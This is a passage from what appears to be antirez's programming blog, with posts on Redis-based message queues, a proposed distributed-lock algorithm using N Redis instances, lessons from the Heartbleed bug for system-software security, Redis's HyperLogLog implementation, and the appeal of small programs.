system is Amazon SQS (Simple Queue Service). There is also a fundamental reason why at-least-once delivery systems are to be preferred, that has to do with distributed systems: the other semantics (at-most-once delivery) requires the queue to be strongly consistent: once the message is acknowledged no other worker must be able to acknowledge the same message, which is a strong property. Once we move our focus to at-least-once delivery systems, we may notice that to model the queue with a CP system is a waste, and also a disadvantage: * Anyway, we can’t guarantee more than at-least-once delivery. * Our queue lose the ability to work into a minority side of a network partition. * Because of the consistency requirements the queue needs agreement, so we are burning performances and adding latency without any good reason. Since messages may be delivered multiple times, what we want conceptually is a commutative data structure and an eventually consistent system. Messages can be stored into a set data structure replicated into N nodes, with the merge function being the union among the sets. Acknowledges, received by workers after execution of messages, are also conceptually elements of the set, marking a given element as processed. This is a trivial example which is not particularly practical for a real world system, but shows how a given kind of queue is well modeled by a given set of properties of a distributed system. Practically speaking there are other useful things our queue may try to provide: * Guaranteed delivery to a single worker at least for a window of time: while multiple delivery is allowed, we want to avoid it as much as possible. * Best-effort checks to avoid to re-delivery a message after a timeout if the message was already processed. Again, we can’t guarantee this property, but we may try hard to reduce re-issuing a message which was actually already processed. * Enough internal state to handle, during normal operations, messages as a FIFO, so that messages arriving first are processed first. * Auto cleanup of the internal data structures. On top of this we need to retain messages during network partitions, so that conceptually (even if practically we could use different data structures) the set of messages to deliver are the union of all the messages of all the nodes. Unfortunately while many Redis based queues implementations exist, no one try to use N Redis independent nodes and the offered primitives as a building block for a distributed system with such characteristics. Using Redis data structures and performances, and algorithms providing certain useful guarantees, may provide a queue system which is very practical to use, easy to administer and scale, while providing excellent performances (messages / second) per node. Because I find the topic is interesting and this is an excellent use case for Redis, I’m very slowly working at a design for such a Redis based queue system. I hope to show something during the next weeks, time permitting. Comments

• A proposal for more reliable locks using Redis
  Antirez · May 16, 2014

  ----------------- UPDATE: The algorithm is now described in the Redis documentation here => http://redis.io/topics/distlock. The article is left here in its older version, the updates will go into the Redis documentation instead. ----------------- Many people use Redis to implement distributed locks. Many believe that this is a great use case, and that Redis worked great to solve an otherwise hard to solve problem. Others believe that this is totally broken, unsafe, and wrong use case for Redis. Both are right, basically. Distributed locks are not trivial if we want them to be safe, and at the same time we demand high availability, so that Redis nodes can go down and still clients are able to acquire and release locks. At the same time a fast lock manager can solve tons of problems which are otherwise hard to solve in practice, and sometimes even a far from perfect solution is better than a very slow solution. Can we have a fast and reliable system at the same time based on Redis? This blog post is an exploration in this area. I’ll try to describe a proposal for a simple algorithm to use N Redis instances for distributed and reliable locks, in the hope that the community may help me analyze and comment the algorithm to see if this is a valid candidate. # What we really want? Talking about a distributed system without stating the safety and liveness properties we want is mostly useless, because only when those two requirements are specified it is possible to check if a design is correct, and for people to analyze and find bugs in the design. We are going to model our design with just three properties, that are what I believe the minimum guarantees you need to use distributed locks in an effective way. 1) Safety property: Mutual exclusion. At any given moment, only one client can hold a lock. 2) Liveness property A: Deadlocks free. Eventually it is always possible to acquire a lock, even if the client that locked a resource crashed or gets partitioned. 3) Liveness property B: Fault tolerance. As long as the majority of Redis nodes are up, clients are able to acquire and release locks. # Distributed locks, the naive way. To understand what we want to improve, let’s analyze the current state of affairs. The simple way to use Redis to lock a resource is to create a key into an instance. The key is usually created with a limited time to live, using Redis expires feature, so that eventually it gets released one way or the other (property 2 in our list). When the client needs to release the resource, it deletes the key. Superficially this works well, but there is a problem: this is a single point of failure in our architecture. What happens if the Redis master goes down? Well, let’s add a slave! And use it if the master is unavailable. This is unfortunately not viable. By doing so we can’t implement our safety property of the mutual exclusion, because Redis replication is asynchronous. This is an obvious race condition with this model: 1) Client A acquires the lock into the master. 2) The master crashes before the write to the key is transmitted to the slave. 3) The slave gets promoted to master. 4) Client B acquires the lock to the same resource A already holds a lock for. Sometimes it is perfectly fine that under special circumstances, like during a failure, multiple clients can hold the lock at the same time. If this is the case, stop reading and enjoy your replication based solution. Otherwise keep reading for a hopefully safer way to implement it. # First, let’s do it correctly with one instance. Before to try to overcome the limitation of the single instance setup described above, let’s check how to do it correctly in this simple case, since this is actually a viable solution in applications where a race condition from time to time is acceptable, and because locking into a single instance is the foundation we’ll use for the distributed algorithm described here. To acquire the lock, the way to go is the following: SET resource_name my_random_value NX PX 30000 The command will set the key only if it does not already exist (NX option), with an expire of 30000 milliseconds (PX option). The key is set to a value “my_random_value”. This value requires to be unique across all the clients and all the locks requests. Basically the random value is used in order to release the lock in a safe way, with a script that tells Redis: remove the key only if exists and the value stored at the key is exactly the one I expect to be. This is accomplished by the following Lua script: if redis.call("get",KEYS[1]) == ARGV[1] then return redis.call("del",KEYS[1]) else return 0 end This is important in order to avoid removing a lock that was created by another client. For example a client may acquire the lock, get blocked into some operation for longer than the lock validity time (the time at which the key will expire), and later remove the lock, that was already acquired by some other client. Using just DEL is not safe as a client may remove the lock of another client. With the above script instead every lock is “signed” with a random string, so the lock will be removed only if it is still the one that was set by the client trying to remove it. What this random string should be? I assume it’s 20 bytes from /dev/urandom, but you can find cheaper ways to make it unique enough for your tasks. For example a safe pick is to seed RC4 with /dev/urandom, and generate a pseudo random stream from that. A simpler solution is to use a combination of unix time with microseconds resolution, concatenating it with a client ID, it is not as safe, but probably up to the task in most environments. The time we use as the key time to live, is called the “lock validity time”. It is both the auto release time, and the time the client has in order to perform the operation required before another client may be able to acquire the lock again, without technically violating the mutual exclusion guarantee, which is only limited to a given window of time from the moment the lock is acquired. So now we have a good way to acquire and release the lock. The system, reasoning about a non-distrubited system which is composed of a single instance, always available, is safe. Let’s extend the concept to a distributed system where we don’t have such guarantees. # Distributed version In the distributed version of the algorithm we assume to have N Redis masters. Those nodes are totally independent, so we don’t use replication or any other implicit coordination system. We already described how to acquire and release the lock safely in a single instance. We give for granted that the algorithm will use this method to acquire and release the lock in a single instance. In our examples we set N=5, which is a reasonable value, so we need to run 5 Redis masters in different computers or virtual machines in order to ensure that they’ll fail in a mostly independent way. In order to acquire the lock, the client performs the following operations: Step 1) It gets the current time in milliseconds. Step 2) It tries to acquire the lock in all the N instances sequentially, using the same key name and random value in all the instances. During the step 2, when setting the lock in each instance, the client uses a timeout which is small compared to the total lock auto-release time in order to acquire it. For example if the auto-release time is 10 seconds, the timeout could be in the ~ 5-50 milliseconds range. This prevents the client to remain blocked for a long time trying to talk with a Redis node which is down: if an instance is not available, we should try to talk with the next instance ASAP. Step 3) The client computes how much time elapsed in order to acquire the lock, by subtracting to the current time the timestamp obtained in step 1. If and only if the client was able to acquire the lock in the majority of the instances (at least 3), and the total time elapsed to acquire the lock is less than lock validity time, the lock is considered to be acquired. Step 4) If the lock was acquired, its validity time is considered to be the initial validity time minus the time elapsed, as computed in step 3. Step 5) If the client failed to acquire the lock for some reason (either it was not able to lock N/2+1 instances or the validity time is negative), it will try to unlock all the instances (even the instances it believe it was not able to lock). # Synchronous or not? Basically the algorithm is partially synchronous: it relies on the assumption that while there is no synchronized clock across the processes, still the local time in every process flows approximately at the same rate, with an error which is small compared to the auto-release time of the lock. This assumption closely resembles a real-world computer: every computer has a local clock and we can usually rely on different computers to have a clock drift which is small. Moreover we need to refine our mutual exclusion rule: it is guaranteed only as long as the client holding the lock will terminate its work within the lock validity time (as obtained in step 3), minus some time (just a few milliseconds in order to compensate for clock drift between processes). # Retry When a client is not able to acquire the lock, it should try again after a random delay in order to try to desynchronize multiple clients trying to acquire the lock, for the same resource, at the same time (this may result in a split brain condition where nobody wins). Also the faster a client will try to acquire the lock in the majority of Redis instances, the less window for a split brain condition (and the need for a retry), so ideally the client should try to send the SET commands to the N instances at the same time using multiplexing. It is worth to stress how important is for the clients that failed to acquire the majority of locks, to release the (partially) acquired locks ASAP, so that there is no need to wait for keys expiry in order for the lock to be acquired again (however if a network partition happens and the client is no longer able to communicate with the Redis instances, there is to pay an availability penalty and wait for the expires). # Releasing the lock Releasing the lock is simple and involves just to release the lock in all the instances, regardless of the fact the client believe it was able to successfully lock a given instance. # Safety arguments Is this system safe? We can try to understand what happens in different scenarios. To start let’s assume that a client is able to acquire the lock in the majority of instances. All the instances will contain a key with the same time to live. However the key was set at different times, so the keys will also expire at different times. However if the first key was set at worst at time T1 (the time we sample before contacting the first server) and the last key was set at worst at time T2 (the time we obtained the reply from the last server), we are sure that the first key to expire in the set will exist for at least MIN_VALIDITY=TTL-(T2-T1)-CLOCK_DRIFT. All the other keys will expire later, so we are sure that the keys will be simultaneously set for at least this time. During the time the majority of keys are set, another client will not be able to acquire the lock, since N/2+1 SET NX operations can’t succeed if N/2+1 keys already exist. So if a lock was acquired, it is not possible to re-acquire it at the same time (violating the mutual exclusion property). However we want to also make sure that multiple clients trying to acquire the lock at the same time can’t simultaneously succeed. If a client locked the majority of instances using a time near, or greater, than the lock maximum validity time (the TTL we use for SET basically), it will consider the lock invalid and will unlock the instances, so we only need to consider the case where a client was able to lock the majority of instances in a time which is less than the validity time. In this case for the argument already expressed above, for MIN_VALIDITY no client should be able to re-acquire the lock. So multiple clients will be albe to lock N/2+1 instances at the same time (with “time" being the end of Step 2) only when the time to lock the majority was greater than the TTL time, making the lock invalid. Are you able to provide a formal proof of safety, or to find a bug? That would be very appreciated. # Liveness arguments The system liveness is based on three main features: 1) The auto release of the lock (since keys expire): eventually keys are available again to be locked. 2) The fact that clients, usually, will cooperate removing the locks when the lock was not acquired, or when the lock was acquired and the work terminated, making it likely that we don’t have to wait for keys to expire to re-acquire the lock. 3) The fact that when a client needs to retry a lock, it waits a time which is comparable greater to the time needed to acquire the majority of locks, in order to probabilistically make split brain conditions during resource contention unlikely. However there is at least a scenario where a very special network partition/rejoin pattern, repeated indefinitely, may violate the system availability. For example with N=5, two clients A and B may try to lock the same resource at the same time, nobody will be able to acquire the majority of locks, but they may be able to lock the majority of nodes if we sum the locks of A and B (for example client A locked 2 instances, client B just one instance). Then the clients are partitioned away before they can unlock the locked instances. This will leave the resource not lockable for a time roughly equal to the auto release time. Then when the keys expire, the two clients A and B join again the partition repeating the same pattern, and so forth indefinitely. Another point of view to see the problem above, is that we pay an availability penalty equal to “TTL” time on network partitions, so if there are continuous partitions, we can pay this penalty indefinitely. I can’t find a simple way to have guaranteed liveness (but did not tried very hard honestly), but the worst case appears to be hard to trigger. Basically it means that we can only provide, using this algorithm, an approximation of Property number 2. # Performance, crash-recovery and fsync Many users using Redis as a lock server need high performance in terms of both latency to acquire and release a lock, and number of acquire / release operations that it is possible to perform per second. In order to meet this requirement, the strategy to talk with the N Redis servers to reduce latency is definitely multiplexing (or poor’s man multiplexing, which is, putting the socket in non-blocking mode, send all the commands, and read all the commands later, assuming that the RTT between the client and each instance is similar). However there is another consideration to do about persistence if we want to target a crash-recovery system model. Basically to see the problem here, let’s assume we configure Redis without persistence at all. A client acquires the lock in 3 of 5 instances. One of the instances where the client was able to acquire the lock is restarted, at this point there are again 3 instances that we can lock for the same resource, and another client can lock it again, violating the safety property of exclusivity of lock. If we enable AOF persistence, things will improve quite a bit. For example we can upgrade a server by sending SHUTDOWN and restarting it. Because Redis expires are semantically implemented so that virtually the time still elapses when the server is off, all our requirements are fine. However everything is fine as long as it is a clean shutdown. What about a power outage? If Redis is configured, as by default, to fsync on disk every second, it is possible that after a restart our key is missing. Long story short if we want to guarantee the lock safety in the face of any kind of instance restart, we need to enable fsync=always in the persistence setting. This in turn will totally ruin performances to the same level of CP systems that are traditionally used to implement distributed locks in a safe way. The good news is that because in our algorithm we don’t stop to acquire locks as soon as we reach the majority of the servers, the actual probability of safety violation is small, because most of the times the lock will be hold in all the 5 servers, so even if one restarts without a key, it is practically unlikely (but not impossible) that an actual safety violation happens. Long story short, this is an user pick, and a big trade off. Given the small probability for a race condition, if it is acceptable that with an extremely small probability, after a crash-recovery event, the lock may be acquired at the same time by multiple clients, the fsync at every operation can (and should) be avoided. # Reference implementation I wrote a simple reference implementation in Ruby, backed by redis-rb, here: http://github.com/antirez/redlock-rb # Want to help? If you are into distributed systems, it would be great to have your opinion / analysis. Also reference implementations in other languages could be great. Thanks in advance! EDIT: I received feedbacks in this blog post comment and via Hacker News that's worth to incorporate in this blog post. 1) As Steven Benjamin notes in the comments below, if after restarting an instance we can make it unavailable for enough time for all the locks that used this instance to expire, we don't need fsync. Actually we don't need any persistence at all, so our safety guarantee can be provided with a pure in-memory configuration. An example: previously we described the example race condition where a lock is obtained in 3 servers out of 5, and one of the servers where the lock was obtained restarts empty: another client may acquire the same lock by locking this server and the other two that were not locked by the previous client. However if the restarted server is not available for queries enough time for all the locks that were obtained with it to expire, we are guaranteed this race is no longer possible. 2) The Hacker News user eurleif noticed how it is possible to reacquire the lock as a strategy if the client notices it is taking too much time in order to complete the operation. This can be done by just extending an existing lock, sending a script that extends the expire of the value stored at the key is the expected one. If there are no new partitions, and we try to extend the lock enough in advance so that the keys will not expire, there is the guarantee that the lock will be extended. 3) The Hacker News user mjb noted how the term "skew" is not correct to describe the difference of the rate at which different clocks increment their local time, and I'm actually talking about "Drift". I'm replacing the word "skew" with "drift" to use the correct term. Thanks for the very useful feedbacks. Comments

• Using Heartbleed as a starting point
  Antirez · Apr 10, 2014

  The strong reactions about the recent OpenSSL bug are understandable: it is not fun when suddenly all the internet needs to be patched. Moreover for me personally how trivial the bug is, is disturbing. I don’t want to point the finger to the OpenSSL developers, but you just usually think at those class of issues as a bit more subtle, in the case of a software like OpenSSL. Usually you fail to do sanity checks *correctly*, as opposed to this bug where there is a total *lack* of bound checks in the memcpy() call. However sometimes in the morning I read the code I wrote the night before and I’m deeply embarrassed. Programmers sometimes fail, I for sure do often, so my guess is that what is needed is a different process, and not a different OpenSSL team. There is who proposes a different language safer than C, and who proposes that the specification is broken because it is too complex. Probably there is some truth in both arguments, however it is unlikely that we move to a different specification or system language soon, so the real question is, what we can do now to improve system software security? 1) Throw money at it. Making system code safer is simple if there are investments. If different companies hire security experts to do code auditings in the OpenSSL code base, what happens is that the probability of discovering a bug like heartbleed is greater. I’ve seen very complex bugs that are triggered by a set of non-trivial conditions being discovered by serious code auditing efforts. A memcpy() without bound checks is something that if you analyze the code security-wise, will stand out in the first read. And guess how heartbleed was discovered? Via security auditings performed at Google. Probably the time to consider open source something that mostly we take from is over. Many companies should follow the example of Google and other companies, using workforce for OSS software development and security. 2) Static and dynamic checks. Static code analysis is, as a side effect, a semi-automated way to do code auditings. In critical system code like OpenSSL even to do some source code annotation or use a set of rules to make static analysis more effective is definitely acceptable. Static tools today are not a total solution, but the output of a static analysis if carefully inspected by an expert programmer can provide some value. Another great help comes from dynamic checks like Valgrind. Every system software written in C should be tested using Valgrind automatically at every new commit. 3) Abstract C with libraries. C is low level and has no built in safety in the language. However something good about C is that it is a language that allows to build layers on top of its rawness. A sane dynamic string library prevents a lot of buffer overflow issues, and today almost every decent project is using one. However there is more you can do about it. For example for security critical code where memory can contain things like private keys, you can augment your dynamic string library with memory copy primitives that only copy from one buffer to the other performing implicit sanity checks. Moreover if a buffer contains critical data, you can set logical permissions so that trying to copy from this area aborts the program. There are other less-portable ways using memory management to protect important memory pages in an even more effective ways, however an higher C-level protection can be much simpler in the real-world because of portability / predictability concerns. In general many things can be explored to avoid using C without protections, creating a library that abstracts on top of it to make programming safer. 4) Randomized tests. Unit tests are unlikely to trigger edge cases and failed sanity checks. There is a class of tests that is known since decades that is, in my opinion, not used enough: fuzzy testing. The OpenSSL bug was definitely discoverable by sending different kind of OpenSSL packets with different randomized parameters, in conjunction with dynamic analysis tools like Valgrind. In my experience having a great deal of randomized tests together with an environment where the same tests are ran again and again with the program running over Valgrind, can discover a number of real-world bugs that gets otherwise unnoticed. There are many models to explore, usually you want something that injects totally random data, and intermediate models where valid packets are corrupted in different random ways. A typical example of this technique is the old DNS compression infinite-loop bug. Trow a few random packets to a naive implementation and you’ll find it in a matter of minutes. 5) Change of mentality about security vs performance. It is interesting that OpenSSL is doing its own allocation caching stuff because in some systems malloc/free is slow. This is a sign that still performances, even in security critical code, is regarded with too much respect over safety. In this specific instance, it must be admitted that probably when the OpenSSL developers wrapped malloc, they never though of security implications by doing so. However the fact that they cared about a low-level detail like the allocation functions in *some* system is a sign of deep concerns about performances, while they should be more deeply concerned about the correctness / safety of the system. In general it does not help the fact that the system that is the de facto standard in today’s servers infrastructure, that is, Linux, has had, and still has, one of the worst allocators you will find around, mostly for licensing concerns, since the better allocators are not GPL but BSD licensed. Probably yet another area where big corps should contribute, by providing significant improvements to glibc malloc. Glibc malloc is, even if better alternatives are available, what many real-world system softwares are going to use anyway. I would love to see the discussion about heartbleed to take a more pragmatic approach, because one thing is guaranteed: to blame here or there will not change the actual level of the security of OpenSSL or anything else, and there are new challenges in the future. For example the implementation of HTTP/2.0 may be a very delicate moment security wise. EDIT: Actually I was not right and the malloc implementation inside the Glibc is BSD licensed, so it is not a license issue. I don't know why the Glibc is not using Jemalloc instead that is very good and actively developed allocator. Comments

• Redis new data structure: the HyperLogLog
  Antirez · Apr 01, 2014

  Generally speaking, I love randomized algorithms, but there is one I love particularly since even after you understand how it works, it still remains magical from a programmer point of view. It accomplishes something that is almost illogical given how little it asks for in terms of time or space. This algorithm is called HyperLogLog, and today it is introduced as a new data structure for Redis. Counting unique things === Usually counting unique things, for example the number of unique IPs that connected today to your web site, or the number of unique searches that your users performed, requires to remember all the unique elements encountered so far, in order to match the next element with the set of already seen elements, and increment a counter only if the new element was never seen before. This requires an amount of memory proportional to the cardinality (number of items) in the set we are counting, which is, often absolutely prohibitive. There is a class of algorithms that use randomization in order to provide an approximation of the number of unique elements in a set using just a constant, and small, amount of memory. The best of such algorithms currently known is called HyperLogLog, and is due to Philippe Flajolet. HyperLogLog is remarkable as it provides a very good approximation of the cardinality of a set even using a very small amount of memory. In the Redis implementation it only uses 12kbytes per key to count with a standard error of 0.81%, and there is no limit to the number of items you can count, unless you approach 2^64 items (which seems quite unlikely). The algorithm is documented in the original paper [1], and its practical implementation and variants were covered in depth by a 2013 paper from Google [2]. [1] http://algo.inria.fr/flajolet/Publications/FlFuGaMe07.pdf [2] http://static.googleusercontent.com/media/research.google.com/en//pubs/archive/40671.pdf How it works? === There are plenty of wonderful resources to learn more about HyperLogLog, such as [3]. [3] http://blog.aggregateknowledge.com/2012/10/25/sketch-of-the-day-hyperloglog-cornerstone-of-a-big-data-infrastructure/ Here I’ll cover only the basic idea using a very clever example found at [3]. Imagine you tell me you spent your day flipping a coin, counting how many times you encountered a non interrupted run of heads. If you tell me that the maximum run was of 3 heads, I can imagine that you did not really flipped the coin a lot of times. If instead your longest run was 13, you probably spent a lot of time flipping the coin. However if you get lucky and the first time you get 10 heads, an event that is unlikely but possible, and then stop flipping your coin, I’ll provide you a very wrong approximation of the time you spent flipping the coin. So I may ask you to repeat the experiment, but this time using 10 coins, and 10 different piece of papers, one per coin, where you record the longest run of heads. This time since I can observe more data, my estimation will be better. Long story short this is what HyperLogLog does: it hashes every new element you observe. Part of the hash is used to index a register (the coin+paper pair, in our previous example. Basically we are splitting the original set into m subsets). The other part of the hash is used to count the longest run of leading zeroes in the hash (our run of heads). The probability of a run of N+1 zeroes is half the probability of a run of length N, so observing the value of the different registers, that are set to the maximum run of zeroes observed so far for a given subset, HyperLogLog is able to provide a very good approximated cardinality. The Redis implementation === The standard error of HyperLogLog is 1.04/sqrt(m), where “m” is the number of registers used. Redis uses 16384 registers, so the standard error is 0.81%. Since the hash function used in the Redis implementation has a 64 bit output, and we use 14 bits of the hash output in order to address our 16k registers, we are left with 50 bits, so the longest run of zeroes we can encounter will fit a 6 bit register. This is why a Redis HyperLogLog value only uses 12k bytes for 16k registers. Because of the use of a 64 bit output function, which is one of the modifications of the algorithm that Google presented in [2], there are no practical limits to the cardinality of the sets we can count. Moreover it is worth to note that the error for very small cardinalities tend to be very small. The following graph shows a run of the algorithm against two different large sets. The cardinality of the set is shown in the x axis, while the relative error (in percentage) in the y axis. img://antirez.com/misc/hll_1.png The red and green lines are two different runs with two totally unrelated sets. It shows how the error is consistent as the cardinality increases. However for much smaller cardinalities, you can enjoy a much smaller error: img://antirez.com/misc/hll_2.png The green line shows the error of a single run up to cardinality 100, while the red line is the maximum error found in 100 runs. Up to a cardinality of a few hundreds the algorithm is very likely to make a very small error or to provide the exact answer. This is very valuable when the computed value is shown to an user that can visually match if the answer is correct. The source code of the Redis implementation is available at Github: https://github.com/antirez/redis/blob/unstable/src/hyperloglog.c The API === From the point of view of Redis an HyperLogLog is just a string, that happens to be exactly 12k + 8 bytes in length (12296 bytes to be precise). All the HyperLogLog commands will happily run if called with a String value exactly of this size, or will report an error. However all the calls are safe whatever is stored in the string: you can store garbage and still ask for an estimation of the cardinality. In no case this will make the server crash. Also everything in the representation is endian neutral and is not affected by the processor word size, so a 32 bit big endian processor can read the HLL of a 64 bit little endian processor. The fact that HyperLogLogs are strings avoided the introduction of an actual type at RDB level. This allows the work to be back ported into Redis 2.8 in the next days, so you’ll be able to use HyperLogLogs ASAP. Moreover the format is automatically serialized, and can be retrieved and restored easily. The API is constituted of three new commands: PFADD var element element … element PFCOUNT var PFMERGE dst src src src … src The commands prefix is “PF” in honor of Philippe Flajolet [4]. [4] http://en.wikipedia.org/wiki/Philippe_Flajolet PFADD adds elements to the HLL stored at “var”. If the variable does not exist, an empty HLL is automatically created as it happens always with Redis API calls. The command is variadic, so allows for very aggressive pipelining and mass insertion. The command returns 1 if the underlying HyperLogLog was modified, otherwise 0 is returned. This is interesting for the user since as we add elements the probability of an element actually modifying some register decreases. The fact that the API is able to provide hints about the fact that a new cardinality is available allows for programs that continuously add elements and retrieve the approximated cardinality only when a new one is available. PFCOUNT returns the estimated cardinality, which is zero if the key does not exist. Finallly PFMERGE can merge N different HLL values into one. The resulting HLL will report an estimated cardinality that is the cardinality of the union of the different sets that we counted with the different HLL values. This seems magical but works because HLL while randomized is fully deterministic, so PFMERGE just takes, for every register, the maximum value available across the N HLL values. A given element hashes to the same register with the same run of zeroes always, so the merge performed in this way will only add the count of the elements that are not common to the different HLLs. As you can see HyperLogLog is fully parallelizable, since it is possible to split a set into N subsets counted independently to later merge the values and obtain the total cardinality approximation. The fact that HLLs in Redis are just strings helps to move HLL values across instances. First make it correct, then make it fast === Redis HHLs are composed of 16k registers packed into 6 bit integers. This creates several performance issues that must be solved in order to provide an API of commands that can be called without thinking too much. One problem is that accessing to registers require accessing multiple bytes, shifting, and masking in order to retrieve the correct 6 bit value. This is not a big problem for PFADD that only touches a register for every element, but PFCOUNT needs to perform a computation using all the 16k registers, so if there are non trivial constant times to access every single register, the command risks to be slow. Moreover, while accessing the registers, we need to compute the sum of pow(2,-register) which involves floating point math. One may feel the temptation of using full bytes instead of 6 bit integers in order to speedup the computation, however this would be a shame since every HLL would use 16k instead of 12k that is a non trivial difference, so this route was discarded at the beginning. The command was optimized for a speedup of about 3 times compared to the initial implementation by doing the following changes: * For m=16k which is the Redis default (the implementation is more generic and could theoretically work with different values) the implementation selects a fast-path with unrolled loops accessing 16 register at every time. The registers are accessed using fixed offsets / shifts / masks (via some pointer that is incremented 12 bytes at the next iteration). * The floating point computation was modified in order to allow for multiple operations to be performed in parallel when possible. This was just a matter of adding parens. Floating point math is not commutative, but in this case there was no loss of precision. * The pow(2,-register) term was precomputed in a lookup table. With the 3x speedup provided by the above changes the command was able to perform about 60k calls per second in a fast hardware. However this is still far from the hundreds thousands calls possible with commands that are, from the user point of view, conceptually similar, like SCARD. Instead of optimizing the computation of the approximated cardinality further, there was a simpler solution. Basically the output of the algorithm only changes if some register changes. However as already observed above, most of the PFADD calls don’t result in any register changed. This basically means that it is possible to cache the last output and recompute it only if some register changes. So our data structure has an additional tail of 8 bytes representing a 64bit unsigned integer in little endian format. If the most significant bit is set, then the precomputed value is stale and requires to be recomputed, otherwise PFCOUNT can use it as it is. PFADD just turns on the “invalid cache” bit when some register is modified. After this change even trying to add elements at maximum speed using a pipeline of 32 elements with 50 simultaneous clients, PFCOUNT was able to perform as well as any other O(1) command with very small constant times. Bias correction using polynomial regression === The HLL algorithm, in order to be practical, must work equally well in any cardinality range. Unfortunately the raw estimation performed by the algorithm is not very good for cardinalities less than m*2.5 (around 40000 elements for m=16384) since in this range the algorithm outputs biased or even results with larger errors depending on the exact range. The original HLL paper [1] suggests switching to Linear Counting [5] when the raw cardinality estimated by the first part of the HLL algorithm is less than m*2.5. [5] http://dblab.kaist.ac.kr/Publication/pdf/ACM90_TODS_v15n2.pdf Linear counting is a different cardinality estimator that uses a simple concept. We have a bitmap of N bits. Every time a new element must be counted, it is hashed, and the hash is used in order to index a random bit inside the bitmap, that is turned to 1. The number of unset bits in the bitmap gives an idea of how many elements we added so far using the following formula: cardinality = m*log(m/ez); Where ‘ez’ is the number of zero bits and m is the total number of bits in the bitmap. Linear counting does not work well for large cardinalities compared to HyperLogLog, but works very well for small cardinalities. Since the HLL registers as a side effect also work as a linear counting bitmap, counting the number of zero registers it is possible to apply linear counting for the range where HLL does not perform well. Note that this is possible because when we update the registers, we don’t really use the longest run of zeroes, but the longest run of zeroes plus one. This means that if an element is added and it is addressing a register that was never addressed, the register will turn from 0 to a different value (at least 1). The problem with linear counting is that as the cardinality gets bigger, its output error gets larger, so we need to switch to HLL ASAP. However when we switch at 2.5m, HLL is still biased. In the following image the same cardinality was tested with 1000 different sets, and the error of each run is reported as a point: img://antirez.com/misc/hll_3.png The blu line is the average of the error. As you can see before a cardinality of 40k, where linear counting is used, the more we go towards greater cardinalities, the more the points “beam” gets larger (bigger errors). When we switch to HLL raw estimate the error is smaller, but there is a bias: the algorithm overestimates the cardinality in the range 40k-80k. Google engineers studied this problem extensively [2] in order to correct the bias. Their solution was to create an empirical table of cardinality values and the corresponding biases. Their modified algorithm uses the table and interpolation in order to get the bias in a given range, and correct accordingly. I used a different approach: you can see that the bias is not random but looks like a very smooth curve, so I calculated a few cardinality-bias samples and performed polynomial regression in order to find a polynomial approximating the curve. Currently I’m using a four order polynomial to correct in the range 40960-72000, and the following is the result after the bias correction: img://antirez.com/misc/hll_4.png While there is still some bias at the switching point between the two algorithms, the result is quite satisfying compared to the vanilla HLL algorithm, however it is probably possible to use a curve that fits better the bias curve. I had no time to investigate this further. It is worth to note that during my investigations I found that, when no bias correction is used, and at least for m=16384, the best value to switch from linear counting to raw HLL estimate is actually near 3 and not 2.5 as mentioned in [1], since a value of 3 both improves bias and error. Values larger than 3 will improve the bias (a value of 4 completely corrects it) but will have bad effects on the error. The original HLL algorithm also corrects for values towards 2^32 [1][2] since once we approach very large values collisions in the hash function starts to be an issue. We don’t need such correction since we use a 64 bit hash function and 6 bits counters, which is one of the modifications proposed by Google engineers [2] and adopted by the Redis implementation. Future work === Intuitively it seems like it is possible to improve the error of the algorithm output when linear counting is used by exploiting the additional informations we have. In the standard linear counting algorithm the registers are just 1 bit wide, so we have only two informations: if an element so far hashed to this bit or not. Still the HLL algorithm as proposed initially [1] and as modified at Google [2], when reverting to linear counting still only use the number of zero registers as the input of the algorithm. It is possible that also using the information stored in the registers could improve the output. For example in standard linear counting, assuming we have 10 bits, I may add 5 elements that all happen to address the same bit. This is an odd case that the algorithm has no way to correct, and the estimation provided will likely be smaller than the actual cardinality. However in the linear counting algorithm used by HLL in a similar situation we may found that the value at the only register set is an hint about multiple elements colliding there, allowing a correction of the output. Conclusion === HyperLogLog is an amazing data structure. My hope is that the Redis implementation, that will be available in a stable release in a matter of days (Redis 2.8.9 will include it), will provide this tool in a ready to use form to many programmers. The HN post is here: https://news.ycombinator.com/item?id=7506774 Comments

• Fascinating little programs
  Antirez · Mar 13, 2014

  Yesterday and today I managed to spend some time with linenoise (http://github.com/antirez/linenoise), a minimal line-editing library designed to be a simple and small replacement for readline. I was trying to merge a few pull requests, to fix issues, and doing some refactoring at the same time. It was some kind of nirvana I was feeling: a complete control of small, self-contained, and useful code. There is something special in simple code. Here I’m not referring to simplicity to fight complexity or over engineering, but to simplicity per se, auto referential, without goals if not beauty, understandability and elegance. After all the programming world has always been fascinated with small programs. For decades programmers challenged in 1k or 4k contexts, from the 6502 assembler to today’s javascript contests. Even the obfuscated C contest, after all, has a big component in the minimalism. Why is it so great to hack a small piece of code? Yes is small and simple, those are two good points. It can be totally understood, dominated. You can use smartness since little code is the only place of the world where coding smartness will pay off, since in large projects obviousness is far better in the long run. However I believe there is more than that, and is that small programs can be perfect. As perfect as a sonnet composed of a few words. The limits in size and in scope, constitute an intellectual stratagem to avoid the “it may be better" trap, when this better is not actually measurable and evident. Under these strict limits, what the program does is far more interesting than what it does not. Actually the constraints are the more fertile ground for creativity of the solutions, otherwise likely useless: at scale there is always a more correct, understood, canonical way to do everything. There is an interview of Bill Gates in the first years of the Microsoft experience where he describes this feeling when writing the famous Microsoft BASIC interpreter. The limits were the same we self impose today to ourselves for fun, in the contests, or just for the sake of it. There was a generation of programmers that was able to experience perfection in their creations, where it was obvious to measure and understand if a change actually lead to an improvement of the program or not, in a territory where space and time were so scarse. There was no room for wastes and not needed complexity. Today’s software is in some way the triumph of the other reality of software: layers of complexities that gave use incredible devices or infrastructure technologies that in the hands of non experts leverage a number of possibilities. However maybe there is still something to preserve from the ancient times where software could be perfect, the feeling that what you are creating has a structure and is not just a pile of code that works. If you zoom out enough, you’ll see your large program is actually quite small again, and at least at this scale, it should resemble perfection, or at least, aim at it. Comments

• What is performance?
  Antirez · Feb 28, 2014

